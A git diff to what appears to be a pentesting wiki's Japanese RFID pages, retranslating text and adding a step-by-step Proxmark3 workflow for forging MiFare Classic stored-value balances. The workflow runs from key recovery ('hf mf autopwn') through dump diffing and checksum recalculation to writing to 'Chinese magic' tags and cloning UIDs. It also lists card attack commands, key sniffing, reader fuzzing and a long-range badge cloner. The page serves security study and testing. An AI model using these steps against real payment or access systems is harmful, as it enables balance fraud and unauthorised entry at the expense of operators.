diff --git a/src/todo/radio-hacking/pentesting-rfid.md b/src/todo/radio-hacking/pentesting-rfid.md index 8cfc0b0f2..b1338504b 100644 --- a/src/todo/radio-hacking/pentesting-rfid.md +++ b/src/todo/radio-hacking/pentesting-rfid.md @@ -4,28 +4,28 @@ ## Introduction -**Radio Frequency Identification (RFID)**は、最も一般的な短距離無線ソリューションです。通常、エンティティを識別する情報を保存し、送信するために使用されます。 +**Radio Frequency Identification (RFID)** は最も一般的な短距離無線ソリューションです。通常、エンティティを識別する情報を格納・送信するために使われます。 -RFIDタグは、**独自の電源(アクティブ)**、例えば埋め込まれたバッテリーに依存するか、受信した無線波から誘導された電流を使用して読み取りアンテナから電力を受け取ります(**パッシブ**)。 +RFIDタグは、埋め込みバッテリーのような**独自の電源を持つ(active)**ものと、受信した電波から**誘導される電流でリーダーのアンテナから電力を得る(passive)**ものがあります。 ### Classes -EPCglobalはRFIDタグを6つのカテゴリに分けています。各カテゴリのタグは、前のカテゴリにリストされたすべての機能を持ち、後方互換性があります。 +EPCglobalはRFIDタグを6つのカテゴリに分けています。各カテゴリのタグは前のカテゴリに記載されたすべての機能を備えているため、下位互換性があります。 -- **Class 0**タグは、**UHF**バンドで動作する**パッシブ**タグです。ベンダーが生産工場で**事前にプログラム**します。その結果、メモリに保存された情報を**変更することはできません**。 -- **Class 1**タグも**HF**バンドで動作できます。さらに、生産後に**一度だけ書き込むことができます**。多くのClass 1タグは、受信したコマンドの**循環冗長検査**(CRC)を処理することもできます。CRCは、エラー検出のためにコマンドの最後に追加される数バイトです。 -- **Class 2**タグは、**複数回書き込むことができます**。 -- **Class 3**タグは、現在の温度やタグの動きなどの環境パラメータを記録できる**埋め込みセンサー**を含むことができます。これらのタグは**セミパッシブ**で、埋め込まれた電源(統合された**バッテリー**など)を持っていますが、他のタグやリーダーとの無線**通信**を**開始することはできません**。 -- **Class 4**タグは、同じクラスの他のタグとの通信を開始できるため、**アクティブタグ**です。 -- **Class 5**タグは、**他のタグに電力を供給し、すべての前のタグ**クラスと通信できます。Class 5タグは**RFIDリーダー**として機能することができます。 +- **Class 0** タグは **passive** タグで、**UHF** 帯で動作します。ベンダーが製造工場で **preprograms** します。その結果、メモリに格納された情報は **変更できません**。 +- **Class 1** タグは **HF** 帯でも動作できます。さらに、製造後に **一度だけ書き込み可能(written only once)** です。多くの Class 1 タグは、受信したコマンドの **cyclic redundancy checks (CRCs)** を処理できます。CRCはエラー検出のためにコマンド末尾に付加される数バイトです。 +- **Class 2** タグは **複数回書き込み可能(written multiple times)** です。 +- **Class 3** タグは環境パラメータ(例えば現在の温度やタグの動き)を記録できる **組み込みセンサー(embedded sensors)** を含むことがあります。これらのタグは **semi-passive** です。というのも、内蔵電源(統合バッテリーなど)を **持っている** が、他のタグやリーダーと無線通信を **開始できない(can’t initiate)** ためです。 +- **Class 4** タグは同クラスの他のタグと通信を開始でき、**active tags** になります。 +- **Class 5** タグは他のタグに **電力を供給** し、以前のすべてのタグクラスと通信できます。Class 5 タグは **RFID readers** として機能できます。 ### Information Stored in RFID Tags -RFIDタグのメモリは通常、4種類のデータを保存します:**識別データ**、これはタグが取り付けられている**エンティティ**を**識別**します(このデータには、ユーザー定義のフィールド、例えば銀行口座が含まれます);**補足データ**、これはエンティティに関する**さらなる****詳細**を提供します;**制御データ**、これはタグの内部**構成**に使用されます;およびタグの**製造者データ**、これはタグのユニーク識別子(**UID**)やタグの**製造**、**タイプ**、および**ベンダー**に関する詳細を含みます。最初の2種類のデータはすべての商業タグに見られますが、最後の2つはタグのベンダーによって異なる場合があります。 +RFIDタグのメモリは通常、次の4種類のデータを格納します: タグが付属する **エンティティを識別する identification data**(このデータには銀行口座のようなユーザー定義フィールドを含む);エンティティに関する **追加情報を提供する supplementary data**;タグの内部 **構成に使用される control data**;およびタグの **メーカー情報(manufacturer data)**(タグの Unique Identifier(**UID**)や製造、タイプ、ベンダーに関する詳細を含む)。最初の2種類のデータは商用タグのすべてに見られますが、最後の2つはタグのベンダーによって異なる場合があります。 -ISO標準は、タグが属する**オブジェクトの種類**を示すコードであるアプリケーションファミリー識別子(**AFI**)の値を指定します。ISOによって指定されたもう1つの重要なレジスタは、ユーザーデータの**論理的な組織**を定義するデータストレージフォーマット識別子(**DSFID**)です。 +ISO標準は、タグが属する **オブジェクトの種類を示す** コードである Application Family Identifier(**AFI**)の値を規定しています。ISOで規定されるもう一つの重要なレジスタは Data Storage Format Identifier(**DSFID**)で、ユーザーデータの**論理的な構成**を定義します。 -ほとんどのRFID **セキュリティ制御**には、各ユーザーメモリブロックおよびAFIおよびDSFID値を含む特別なレジスタに対する**読み取り**または**書き込み**操作を**制限**するメカニズムがあります。これらの**ロック****メカニズム**は、制御メモリに保存されたデータを使用し、ベンダーによって事前に設定された**デフォルトパスワード**を持っていますが、タグの所有者が**カスタムパスワードを設定する**ことを許可します。 +ほとんどのRFID **セキュリティコントロール** は、各ユーザーメモリブロックおよび AFI や DSFID の値を含む特別なレジスタに対する **読み取り/書き込み操作を制限する** 機構を持っています。これらの **ロック機構** は制御メモリに格納されたデータを使用し、ベンダーによって事前設定された **デフォルトパスワード** を持ちますが、タグ所有者が **カスタムパスワードを設定できる** ようになっています。 ### Low & High frequency tags comparison @@ -33,25 +33,25 @@ ISO標準は、タグが属する**オブジェクトの種類**を示すコー ## Low-Frequency RFID Tags (125kHz) -**低周波タグ**は、**高いセキュリティを必要としない**システムでよく使用されます:建物のアクセス、インターホンキー、ジムの会員カードなど。より高い範囲のため、支払い駐車場での使用に便利です:ドライバーはカードをリーダーに近づける必要がなく、遠くからトリガーされます。同時に、低周波タグは非常に原始的で、データ転送速度が低いため、残高管理や暗号化などの複雑な双方向データ転送を実装することは不可能です。低周波タグは、認証手段なしで短いIDを送信するだけです。 +**低周波タグ(Low-frequency tags)** は、建物の入退室、インターホンキー、ジム会員カードなど、**高いセキュリティを必要としない** システムでよく使われます。レンジが長いため、有料駐車場で便利に使われます:ドライバーはカードをリーダーに近づける必要がなく、離れた距離からトリガーされます。一方で、低周波タグは非常に原始的でデータ転送速度が低いです。そのため、残高管理や暗号化のような複雑な双方向データ転送を実装することは不可能です。低周波タグは認証手段を持たず、短いIDのみを送信します。 -これらのデバイスは**パッシブ****RFID**技術に依存し、**30 kHzから300 kHzの範囲**で動作しますが、125 kHzから134 kHzを使用するのが一般的です: +これらのデバイスは **passive RFID** 技術に依存し、**30 kHz から 300 kHz** の範囲で動作しますが、通常は **125 kHz 〜 134 kHz** が使われます: -- **ロングレンジ** — 低い周波数は高い範囲に変換されます。EM-MarinやHIDリーダーの中には、1メートルの距離から動作するものがあります。これらは駐車場でよく使用されます。 -- **原始的なプロトコル** — 低いデータ転送速度のため、これらのタグは短いIDしか送信できません。ほとんどの場合、データは認証されず、保護されていません。カードがリーダーの範囲内に入ると、ただIDを送信し始めます。 -- **低いセキュリティ** — これらのカードは簡単にコピーでき、プロトコルの原始性のために他の人のポケットからでも読み取られる可能性があります。 +- **Long Range** — 周波数が低いほど到達距離が長くなります。EM-Marin や HID の一部のリーダーは最大1メートルまで動作します。これらは駐車場でよく使われます。 +- **Primitive protocol** — 低いデータ転送速度のため、これらのタグは短いIDしか送信できません。多くの場合、データは認証されず、何ら保護されていません。カードがリーダーの範囲に入ると、ただIDを送信し始めます。 +- **Low security** — これらのカードはプロトコルが原始的なため、簡単にコピーされたり、ポケット越しに他人のカードから読み取られたりします。 -**人気のある125 kHzプロトコル:** +**Popular 125 kHz protocols:** -- **EM-Marin** — EM4100、EM4102。CISで最も人気のあるプロトコル。シンプルさと安定性のため、約1メートルの距離から読み取ることができます。 -- **HID Prox II** — HID Globalによって導入された低周波プロトコル。このプロトコルは西洋諸国でより人気があります。より複雑で、このプロトコル用のカードとリーダーは比較的高価です。 -- **Indala** — Motorolaによって導入された非常に古い低周波プロトコルで、後にHIDに買収されました。前の2つに比べて野生で遭遇する可能性は低く、使用が減少しています。 +- **EM-Marin** — EM4100, EM4102。CISで最も人気のあるプロトコル。シンプルで安定しているため、約1メートルから読み取れます。 +- **HID Prox II** — HID Global が導入した低周波プロトコル。西側諸国でより一般的です。より複雑で、このプロトコル用のカードとリーダーは比較的高価です。 +- **Indala** — Motorola が導入し後に HID に買収された非常に古い低周波プロトコル。前述の二つよりも使用例は減少しています。 -実際には、もっと多くの低周波プロトコルがあります。しかし、すべて同じ物理層の変調を使用し、上記のリストにあるもののいずれかのバリエーションと見なすことができます。 +実際には、他にも多くの低周波プロトコルがありますが、物理層で同じ変調を使用しており、上記の変種と見なせます。 ### Attack -You can **attack these Tags with the Flipper Zero**: +これらのタグは **Flipper Zero** を使って攻撃できます: {{#ref}} @@ -60,45 +60,89 @@ flipper-zero/fz-125khz-rfid.md ## High-Frequency RFID Tags (13.56 MHz) -**高周波タグ**は、暗号化、大規模な双方向データ転送、認証などが必要なより複雑なリーダー-タグ相互作用に使用されます。\ -通常、銀行カード、公共交通機関、その他のセキュアパスで見られます。 +**高周波タグ(High-frequency tags)** は、暗号、双方向の大容量データ転送、認証など、より複雑なリーダー–タグ間の相互作用を必要とする場合に使用されます。\ +銀行カード、公共交通機関、その他のセキュアなパスで一般的に見られます。 -**高周波13.56 MHzタグは一連の標準とプロトコルです**。通常、[NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/)と呼ばれますが、必ずしも正しいわけではありません。物理的および論理的レベルで使用される基本的なプロトコルセットはISO 14443です。高レベルのプロトコルや代替標準(ISO 19092など)はこれに基づいています。この技術は**近距離通信(NFC)**と呼ばれることが多く、13.56 MHz周波数で動作するデバイスの用語です。 +**13.56 MHz の高周波タグは一連の標準とプロトコルです**。通常は [NFC](https://nfc-forum.org/what-is-nfc/about-the-technology/) と呼ばれますが、それは常に正確ではありません。物理層と論理層で使われる基本プロトコルセットは ISO 14443 です。高レベルのプロトコルや代替標準(ISO 19092 のような)はこれに基づいています。多くの人はこの技術を 13.56 MHz で動作するデバイスを指す用語として **Near Field Communication (NFC)** と呼びます。
-簡単に言えば、NFCのアーキテクチャは次のように機能します:送信プロトコルはカードを製造する会社によって選択され、低レベルのISO 14443に基づいて実装されます。例えば、NXPはMifareと呼ばれる独自の高レベル送信プロトコルを発明しました。しかし、低レベルでは、MifareカードはISO 14443-A標準に基づいています。 +簡単に言えば、NFC のアーキテクチャは次のように動作します:送信プロトコルはカードを作る会社によって選ばれ、低レベルの ISO 14443 に基づいて実装されます。例えば、NXP は独自の高レベル送信プロトコル Mifare を発明しました。しかし下位レベルでは、Mifare カードは ISO 14443-A 標準に基づいています。 -Flipperは、低レベルのISO 14443プロトコルとMifare Ultralightデータ転送プロトコルおよび銀行カードで使用されるEMVと相互作用できます。Mifare ClassicおよびNFC NDEFのサポートを追加する作業を進めています。NFCを構成するプロトコルと標準を詳しく見ることは、別の記事に値するものであり、後で公開する予定です。 +Flipper は低レベルの ISO 14443 プロトコル、Mifare Ultralight のデータ転送プロトコル、そして銀行カードで使われる EMV と相互作用できます。Mifare Classic と NFC NDEF のサポート追加にも取り組んでいます。NFC を構成するプロトコルと標準の詳細な解説は別記事に値し、後ほど掲載する予定です。 -ISO 14443-A標準に基づくすべての高周波カードにはユニークなチップIDがあります。これはカードのシリアル番号として機能し、ネットワークカードのMACアドレスのようなものです。**通常、UIDは4または7バイトの長さですが、まれに**10バイトまで**行くことがあります。UIDは秘密ではなく、簡単に読み取ることができ、**時にはカード自体に印刷されています**。 +ISO 14443-A 標準に基づくすべての高周波カードはユニークなチップIDを持ちます。それはカードのシリアル番号のように振る舞い、ネットワークカードの MAC アドレスに似ています。**通常、UID は4または7バイト長**ですが、稀に **最大10バイト** になることがあります。UID は秘密ではなく簡単に読み取れ、**場合によってはカード自体に印字されていることもあります**。 -UIDに依存して**認証とアクセスを許可する**多くのアクセス制御システムがあります。時には、RFIDタグが**暗号化をサポートしている**場合でも、これが発生します。このような**誤用**は、セキュリティの観点から、愚かな**125 kHzカード**のレベルにまで引き下げます。仮想カード(Apple Payなど)は動的UIDを使用して、電話の所有者が支払いアプリでドアを開けることがないようにします。 +多くのアクセス制御システムは UID を用いて **認証とアクセス許可を行います**。時には RFID タグが **暗号化をサポートしている場合でも** UID に依存することがあります。そのような **誤用** により、セキュリティ面で **単純な 125 kHz カード** と同レベルになってしまいます。バーチャルカード(Apple Pay のような)は動的な UID を使用し、電話所有者が決済アプリでドアを開けてしまうのを防いでいます。 -- **低い範囲** — 高周波カードは、リーダーの近くに置かなければならないように特別に設計されています。これにより、カードが不正な相互作用から保護されます。私たちが達成した最大の読み取り範囲は約15 cmで、これはカスタムメイドの高範囲リーダーを使用した場合です。 -- **高度なプロトコル** — データ転送速度が424 kbpsまで可能で、完全な双方向データ転送を伴う複雑なプロトコルを可能にします。これにより、**暗号化**、データ転送などが可能になります。 -- **高いセキュリティ** — 高周波の非接触カードは、スマートカードに劣ることはありません。AESのような暗号的に強いアルゴリズムをサポートし、非対称暗号化を実装するカードもあります。 +- **Low range** — 高周波カードはリーダーに近づける必要があるように設計されています。これによりカードが不正に操作されるのを防ぎます。私たちが達成した最大読み取り距離は約15cmで、これはカスタム製の高レンジリーダーを使用した場合でした。 +- **Advanced protocols** — 最大 424 kbps のデータ転送速度は、完全な双方向データ転送を伴う複雑なプロトコルを可能にします。これにより **暗号化**、データ転送などが可能になります。 +- **High security** — 高周波の非接触カードはスマートカードに比べても劣りません。AES のような暗号アルゴリズムをサポートし、公開鍵暗号を実装するカードも存在します。 ### Attack -You can **attack these Tags with the Flipper Zero**: +これらのタグは **Flipper Zero** を使って攻撃できます: {{#ref}} flipper-zero/fz-nfc.md {{#endref}} -Or using the **proxmark**: +または **proxmark** を使用して: {{#ref}} proxmark-3.md {{#endref}} -### Building a Portable HID MaxiProx 125 kHz Mobile Cloner +### MiFare Classic offline stored-value tampering (broken Crypto1) -もし、**長距離**、**バッテリー駆動**のHID Prox®バッジを収集するためのソリューションが必要な場合、壁に取り付けられた**HID MaxiProx 5375**リーダーをバックパックに収まる自己完結型クローンに変換できます。完全な機械的および電気的な手順はここで入手できます: +システムが金銭残高を MiFare Classic カード上に直接保存している場合、Classic が NXP の廃止された Crypto1 暗号を使用しているため、多くの場合それを操作できます。Crypto1 は長年にわたり破られており、セクターキーの回復やカードメモリの完全な読み書きが一般的なハードウェア(例: Proxmark3)で可能です。 +エンドツーエンドのワークフロー(抽象化): + +1) 元のカードをダンプしてキーを回復する +```bash +# Attempt all built-in Classic key recovery attacks and dump the card +hf mf autopwn +``` +これは通常、sector keys (A/B) を回収し、client dumps folder に full-card dump を生成します。 + +2) value/integrity fields を特定して理解する + +- 元のカードに対して正規の top-ups を行い、複数の dumps を取得する(before/after)。 +- 2つの dumps を diff して、balance や integrity fields を表す変化する blocks/bytes を特定する。 +- 多くの Classic deployments はネイティブな "value block" エンコーディングを使うか、独自の checksums(例: XOR of the balance with another field and a constant)を使う。balance を変更したら、integrity bytes を再計算し、複製/補数化されたすべての fields が一貫していることを確認する。 + +3) modified dump を writable な “Chinese magic” Classic tag に書き込む +```bash +# Load a modified binary dump onto a UID-changeable Classic tag +hf mf cload -f modified.bin +``` +4) ターミナルがカードを認識するように元の UID をクローンする +```bash +# Set the UID on a UID-changeable tag (gen1a/gen2 magic) +hf mf csetuid -u +``` +5) ターミナルでの使用 + +カード上の残高と UID を信頼するリーダーは、改変されたカードを受け入れます。現場での観察では、多くの導入先がフィールド幅に基づいて残高を上限している(例:16-bit fixed-point)。 + +注記 + +- システムが native Classic value blocks を使用している場合、フォーマットを覚えておいてください: value (4B) + ~value (4B) + value (4B) + block address + ~address。すべての部分が一致する必要があります。 +- シンプルなチェックサムを使ったカスタムフォーマットの場合、differential analysis が firmware をリバースしなくても整合性関数を導出する最速の方法です。 +- UID-changeable タグ("Chinese magic" gen1a/gen2)のみが block 0/UID の書き込みを許可します。通常の Classic カードの UID は read-only です。 + +実践的な Proxmark3 コマンドについては、次を参照してください: + +{{#ref}} +proxmark-3.md +{{#endref}} + +### 携帯型 HID MaxiProx 125 kHz Mobile Cloner の構築 + +red-team engagements 中に HID Prox® バッジを収集するために、**長距離**、**バッテリー駆動** のソリューションが必要な場合、壁取り付け型の **HID MaxiProx 5375** リーダーをバックパックに収まる自立型のクローン機に改造できます。機械および電気の完全な手順は以下で入手できます: {{#ref}} maxiprox-mobile-cloner.md @@ -106,9 +150,12 @@ maxiprox-mobile-cloner.md --- -## References +## 参考文献 - [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/) - [Let's Clone a Cloner – Part 3 (TrustedSec)](https://trustedsec.com/blog/lets-clone-a-cloner-part-3-putting-it-all-together) +- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/) +- [MIFARE security overview (Wikipedia)](https://en.wikipedia.org/wiki/MIFARE#Security) +- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/todo/radio-hacking/proxmark-3.md b/src/todo/radio-hacking/proxmark-3.md index f8c2708df..f8e690aff 100644 --- a/src/todo/radio-hacking/proxmark-3.md +++ b/src/todo/radio-hacking/proxmark-3.md @@ -2,15 +2,15 @@ {{#include ../../banners/hacktricks-training.md}} -## Proxmark3を使用したRFIDシステムの攻撃 +## Proxmark3 を使った RFID システムの攻撃 -最初に必要なのは[**Proxmark3**](https://proxmark.com)を持っていて、[**ソフトウェアとその依存関係をインストールすること**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)です。 +The first thing you need to do is to have a [**Proxmark3**](https://proxmark.com) and [**install the software and it's dependencie**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux)[**s**](https://github.com/Proxmark/proxmark3/wiki/Kali-Linux). -### MIFARE Classic 1KBの攻撃 +### MIFARE Classic 1KB への攻撃 -**16セクター**があり、それぞれに**4ブロック**があり、各ブロックには**16B**が含まれています。UIDはセクター0のブロック0にあり(変更できません)。\ -各セクターにアクセスするには、**2つのキー**(**A**と**B**)が必要で、これらは**各セクターのブロック3**(セクタートレーラー)に保存されています。セクタートレーラーは、**各ブロック**に対する**読み取りおよび書き込み**権限を与える**アクセスビット**も保存しています。\ -2つのキーは、最初のキーを知っていれば読み取り権限を与え、2番目のキーを知っていれば書き込み権限を与えるのに役立ちます(例えば)。 +それは **16セクタ** を持ち、各セクタは **4ブロック**、各ブロックは **16B** を含みます。UIDはセクタ0ブロック0にあり(変更できません)。\ +各セクタにアクセスするには、各セクタの **ブロック3**(sector trailer)に格納されている **2つのキー**(**A** と **B**)が必要です。セクタトレーラは、2つのキーを使って **各ブロック** に対する **読み取り** と **書き込み** 権限を与える **アクセスビット** も格納しています。\ +2つのキーは、たとえば最初のキーが分かれば読み取り、二番目のキーが分かれば書き込みを許可するといった用途に便利です。 いくつかの攻撃が実行できます。 ```bash @@ -31,11 +31,39 @@ proxmark3> hf mf eset 01 000102030405060708090a0b0c0d0e0f # Write those bytes to proxmark3> hf mf eget 01 # Read block 1 proxmark3> hf mf wrbl 01 B FFFFFFFFFFFF 000102030405060708090a0b0c0d0e0f # Write to the card ``` -Proxmark3は、**タグとリーダー間の通信を盗聴**して機密データを探すなど、他のアクションを実行することができます。このカードでは、通信をスニッフィングし、使用されているキーを計算することができます。なぜなら、**使用される暗号操作が弱いため**、平文と暗号文を知っていれば計算できるからです(`mfkey64`ツール)。 +The Proxmark3 allows to perform other actions like **eavesdropping** a **Tag to Reader communication** to try to find sensitive data. In this card you could just sniff the communication with and calculate the used key because the **cryptographic operations used are weak** and knowing the plain and cipher text you can calculate it (`mfkey64` tool). -### 生のコマンド +#### MiFare Classic quick workflow for stored-value abuse -IoTシステムは時々、**ブランドのないまたは商業用でないタグ**を使用します。この場合、Proxmark3を使用してタグにカスタム**生のコマンドを送信**することができます。 +When terminals store balances on Classic cards, a typical end-to-end flow is: +```bash +# 1) Recover sector keys and dump full card +proxmark3> hf mf autopwn + +# 2) Modify dump offline (adjust balance + integrity bytes) +# Use diffing of before/after top-up dumps to locate fields + +# 3) Write modified dump to a UID-changeable ("Chinese magic") tag +proxmark3> hf mf cload -f modified.bin + +# 4) Clone original UID so readers recognize the card +proxmark3> hf mf csetuid -u +``` +注意 + +- `hf mf autopwn` は nested/darkside/HardNested-style 攻撃をオーケストレーションし、鍵を回復し、クライアントの dumps フォルダにダンプを作成します。 +- ブロック0/UID の書き込みは magic gen1a/gen2 カードでのみ動作します。通常の Classic カードでは UID は読み取り専用です。 +- 多くの導入では Classic の「value blocks」や単純なチェックサムが使われています。編集後は、複製・補完されたフィールドやチェックサムが一貫していることを確認してください。 + +より上位の手法や緩和策については、次を参照してください: + +{{#ref}} +pentesting-rfid.md +{{#endref}} + +### Raw コマンド + +IoTシステムでは、**非ブランドまたは非商用のタグ**を使用することがあります。その場合、Proxmark3 を使ってタグにカスタムの **生のコマンド** を送信できます。 ```bash proxmark3> hf search UID : 80 55 4b 6c ATQA : 00 04 SAK : 08 [2] @@ -45,14 +73,21 @@ No chinese magic backdoor command detected Prng detection: WEAK Valid ISO14443A Tag Found - Quiting Search ``` -この情報を使って、カードに関する情報やそれとの通信方法を検索することができます。Proxmark3は、次のような生のコマンドを送信することを可能にします: `hf 14a raw -p -b 7 26` +この情報を使って、カードやカードと通信する方法について調べてみてください。Proxmark3 は次のような raw コマンドを送信できます: `hf 14a raw -p -b 7 26` ### スクリプト -Proxmark3ソフトウェアには、簡単なタスクを実行するために使用できる**自動化スクリプト**のプリロードされたリストが付属しています。完全なリストを取得するには、`script list`コマンドを使用します。次に、`script run`コマンドを使用し、スクリプトの名前を続けて入力します: +Proxmark3 ソフトウェアには、簡単なタスクを実行するために使える **自動化スクリプト** がプリロードされています。完全な一覧を取得するには `script list` コマンドを使用してください。次に `script run` コマンドを使用し、続けてスクリプト名を指定します: ``` proxmark3> script run mfkeys ``` -**タグリーダーをファズする**スクリプトを作成できます。したがって、**有効なカード**のデータをコピーするには、1つ以上のランダムな**バイト**を**ランダム化**し、任意の反復で**リーダーがクラッシュする**かどうかを確認する**Luaスクリプト**を書くだけです。 +スクリプトを作成して **fuzz tag readers** を行うことができます。つまり、**valid card** のデータをコピーし、**Lua script** を書いて、1つ以上のランダムな **bytes** を **randomize** し、任意の反復で **reader crashes** するかを確認します。 + +## 参考 + +- [Proxmark3 wiki: HF MIFARE](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Mifare) +- [Proxmark3 wiki: HF Magic cards](https://github.com/RfidResearchGroup/proxmark3/wiki/HF-Magic-cards) +- [NXP statement on MIFARE Classic Crypto1](https://www.mifare.net/en/products/chip-card-ics/mifare-classic/security-statement-on-crypto1-implementations/) +- [NFC card vulnerability exploitation in KioSoft Stored Value (SEC Consult)](https://sec-consult.com/vulnerability-lab/advisory/nfc-card-vulnerability-exploitation-leading-to-free-top-up-kiosoft-payment-solution/) {{#include ../../banners/hacktricks-training.md}}